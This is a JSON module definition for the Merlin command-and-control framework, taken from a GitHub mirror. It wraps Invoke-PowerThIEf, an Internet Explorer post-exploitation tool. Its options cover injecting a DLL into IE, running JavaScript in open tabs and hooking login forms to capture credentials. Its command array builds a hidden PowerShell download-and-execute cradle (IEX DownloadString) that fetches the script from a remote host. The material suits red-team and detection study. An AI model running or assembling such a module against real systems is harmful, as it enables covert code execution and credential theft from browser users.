mirror of
https://github.com/Ne0nd0g/merlin
synced 2026-06-08 11:59:20 +00:00
Ne0nd0g
52 lines
3.8 KiB
JSON
52 lines
3.8 KiB
JSON
{
|
|
"base": {
|
|
"name": "Invoke-PowerThIEf",
|
|
"type": "standard",
|
|
"author": ["Russel Van Tuyl (@Ne0nd0g)"],
|
|
"credits": ["Rob Maslen (@rbmaslen)"],
|
|
"path": ["windows", "x64", "powershell", "credentials", "Invoke-PowerThIEf"],
|
|
"platform": "windows",
|
|
"arch": "x64",
|
|
"lang": "powershell",
|
|
"privilege": false,
|
|
"remote": "https://raw.githubusercontent.com/nettitude/Invoke-PowerThIEf/master/Invoke-PowerThIEf.ps1",
|
|
"local": ["data", "src", "nettitude", "Invoke-PowerThIEf", "Invoke-PowerThIEf.ps1"],
|
|
"options": [
|
|
{"name": "action", "value": "", "required": true, "flag": "-action", "description":"The action to perform, can be one of ('ListUrls', 'Creds', 'ExecPayload', 'InvokeJS', 'DumpHtml', 'NewBackgroundTab','HookLoginForms', 'RemoveHooks', 'ListActions','HideWindow', 'ShowWindow','Navigate', 'Help')"},
|
|
{"name": "PathPayload", "value": "", "required": false, "flag": "-PathPayload", "description":"Path to the binary(DLL) to launch in IE's process, used with the ExecPayload action"},
|
|
{"name": "BrowserIndex", "value": "", "required": false, "flag": "-BrowserIndex", "description":"Index of the browser to inject the payload into, these are listed by the action ListUrls"},
|
|
{"name": "Script", "value": "", "required": false, "flag": "-Script", "description":"The JavaScript to be invoked via InvokeJS flag"},
|
|
{"name": "SelectorType", "value": "", "required": false, "flag": "-SelectorType", "description":"The type of Selector when using DumpHtml can be either ('id','name','tag')"},
|
|
{"name": "Selector", "value": "", "required": false, "flag": "-Selector", "description":"DOM Object selector to locate when using DumpHtml, specify type in SelectorType [default is id]."},
|
|
{"name": "Output", "value": "", "required": false, "flag": "-Output", "description":"Location for output which is either a file specified by OutputPath (or tempfile if thats blank), the screen[default] or to both. Can be either ('file','screen','both')"},
|
|
{"name": "OutputPath", "value": "", "required": false, "flag": "-OutputPath", "description":"Path to write output to if screen or both is selected in Output. If this is blank and either of those is selected a temp file will be written"},
|
|
{"name": "URLFilter", "value": "", "required": false, "flag": "-URLFilter", "description":"Regex to used to filter windows/tabs by URL when using ListUrls"},
|
|
{"name": "NavigateUrl", "value": "", "required": false, "flag": "-NavigateUrl", "description":"The URL to navigate to when using the Navigate action"}
|
|
],
|
|
"description": "An Internet Explorer Post Exploitation library",
|
|
"notes": "GitHub: https://github.com/nettitude/Invoke-PowerThIEf\r\nSteelCon 2018 Slides: https://github.com/nettitude/Invoke-PowerThIEf/blob/master/Steelcon-2018-com-powerthief-final.pdf\r\n\r\nEXAMPLES:\r\nList URLs for all current IE browser sessions: Invoke-PowerThIEf -action ListUrls\r\n\r\nAutomatically scan any windows or tabs for login forms and record what gets posted. Once credentials have come in use -action creds to list them: Invoke-PowerThIEf -action HookLoginForms\r\n\r\nInvoke JavaScript in all currently opened IE windows and tabs: Invoke-PowerThIEf -action InvokeJS -Script 'alert(document.location.href);'",
|
|
"commands": [
|
|
"powershell.exe",
|
|
"-nop",
|
|
"-w 0",
|
|
"\"IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/nettitude/Invoke-PowerThIEf/master/Invoke-PowerThIEf.ps1');",
|
|
"Invoke-PowerThIEf",
|
|
"{{action}}",
|
|
"{{PathPayload}}",
|
|
"{{BrowserIndex}}",
|
|
"{{Script}}",
|
|
"{{SelectorType}}",
|
|
"{{Selector}}",
|
|
"{{Output}}",
|
|
"{{OutputPath}}",
|
|
"{{URLFilter}}",
|
|
"{{NavigateUrl}}",
|
|
"\""
|
|
]
|
|
},
|
|
"powershell": {
|
|
"disableav": false,
|
|
"obfuscate": false,
|
|
"base64": false
|
|
}
|
|
} |